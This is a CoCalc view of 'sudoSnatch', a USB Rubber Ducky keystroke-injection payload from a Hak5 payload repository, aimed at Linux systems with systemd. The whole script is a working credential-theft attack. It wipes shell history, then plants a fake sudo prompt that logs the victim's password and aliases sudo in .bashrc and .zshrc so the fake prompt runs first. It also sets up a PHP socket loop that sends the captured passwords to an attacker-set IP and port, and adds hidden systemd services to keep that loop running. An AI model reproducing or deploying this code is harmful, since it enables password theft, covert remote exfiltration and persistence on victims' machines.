Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/credentials/sudoSnatch/payload.txt
2968 views
1
REM Title: sudoSnatch
2
REM Description: sudoSnatch payload grabs sudo password in plain text, imediately after victim uses `sudo` command and sends it back to attacker remotely/locally..
3
REM AUTHOR: drapl0n
4
REM Version: 1.0
5
REM Category: Credentials
6
REM Target: Unix-like operating systems with systemd
7
REM Attackmodes: HID
8
REM Note: Replace IP address and port number on line no. 34 with yours.
9
REM Note: Use command: [nc -l -p <port number>] to fetch captured passwords on attacking machine.
10
11
REM [keeping tracks clear]
12
DELAY 500
13
CTRL-ALT t
14
DELAY 400
15
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
16
ENTER
17
DELAY 100
18
19
REM [creating password grabbing mechanism]
20
STRING mkdir /var/tmp/.system
21
ENTER
22
DELAY 100
23
STRING echo -e "#\!/bin/bash\necho -n \"[sudo] password for \$(whoami):\"\nIFS=\"\" read -s pass\necho -e \"Timestamp=[\$(date)] \\\t User=[\$(whoami)] \\\t Password=[\$pass]\" >> /var/tmp/.system/sysLog\necho -e \"\\\nSorry, try again.\"" > /var/tmp/.system/systemMgr
24
ENTER
25
DELAY 100
26
STRING touch /var/tmp/.system/sysLog
27
ENTER
28
DELAY 100
29
STRING chmod +x /var/tmp/.system/systemMgr
30
ENTER
31
DELAY 100
32
33
REM [creating reverse shell]
34
STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"cat /var/tmp/.system/sysLog "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
35
ENTER
36
DELAY 100
37
STRING chmod +x /var/tmp/.system/systemBus
38
ENTER
39
DELAY 100
40
41
REM [creating systemd service to execute payload on boot]
42
STRING mkdir -p ~/.config/systemd/user
43
ENTER
44
DELAY 200
45
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
46
ENTER
47
DELAY 100
48
49
REM [creating reboot script incase if listner stops or targets internet connection gets lost]
50
STRING echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
51
ENTER
52
DELAY 100
53
STRING chmod +x /var/tmp/.system/reboot
54
ENTER
55
DELAY 100
56
57
REM [creating systemd service for reboot]
58
STRING echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service
59
ENTER
60
DELAY 100
61
62
REM [enabling services]
63
STRING systemctl --user daemon-reload
64
ENTER
65
DELAY 300
66
STRING systemctl --user enable --now systemBUS.service
67
ENTER
68
DELAY 150
69
STRING systemctl --user start --now systemBUS.service
70
ENTER
71
DELAY 150
72
STRING systemctl --user enable --now reboot.service
73
ENTER
74
DELAY 150
75
STRING systemctl --user start --now reboot.service
76
ENTER
77
DELAY 100
78
79
REM [autostarting service on terminal/shell launch]
80
STRING echo -e "#\!/bin/bash\nls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo -e \"alias sudo='bash /var/tmp/.system/systemMgr && sudo'\" >> ~/.zshrc\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo -e \"alias sudo='bash /var/tmp/.system/systemMgr && sudo'\" >> ~/.bashrc\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service && systemctl --user restart reboot.service\" >> ~/.bashrc\nfi" > ~/tmmmp
81
ENTER
82
DELAY 100
83
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
84
ENTER
85
86